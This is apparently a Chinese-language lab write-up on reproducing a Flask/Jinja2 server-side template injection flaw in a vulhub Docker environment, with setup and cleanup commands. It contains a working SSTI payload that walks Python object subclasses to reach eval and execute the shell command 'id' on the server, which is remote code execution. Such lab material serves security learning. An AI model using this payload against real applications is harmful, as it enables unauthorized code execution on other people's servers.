Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti
一、服务端模板注入漏洞简述:服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。二、利用搭的vulhub靶机漏洞复现1、service docker start //进入虚拟机后开启docker服...
一、服务端模板注入漏洞
简述:
服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。
二、利用搭的vulhub靶机漏洞复现
1、 service docker start //进入虚拟机后开启docker服务
docker version 查看docker版本信息确认是否开启
2、cd /vulhub/flack/ssti //进入到ssti的目录下
3、cat README.md //查看README.md 目录,这里是该漏洞复现的具体流程。
4、docker-compose up -d && docker-compose build // 加载环境并运行
5、然后在浏览器上访问http://your-ip:8000,
6、访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。
7、 获取eval函数并执行任意python代码的POC: //获取os
```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
```
8、最后放到浏览器里注意要url编码,得到执行结果。
三、漏洞复现成功后,可删除掉镜像
1、docker-compose down //docker-compose容器停止运行
2、docker ps //查看容器进程
docker images //查看下载保存的镜像
3、docker rmi 1a2dea4ab6aa //需要删除ssti_flask 下载源地址
更多推荐
所有评论(0)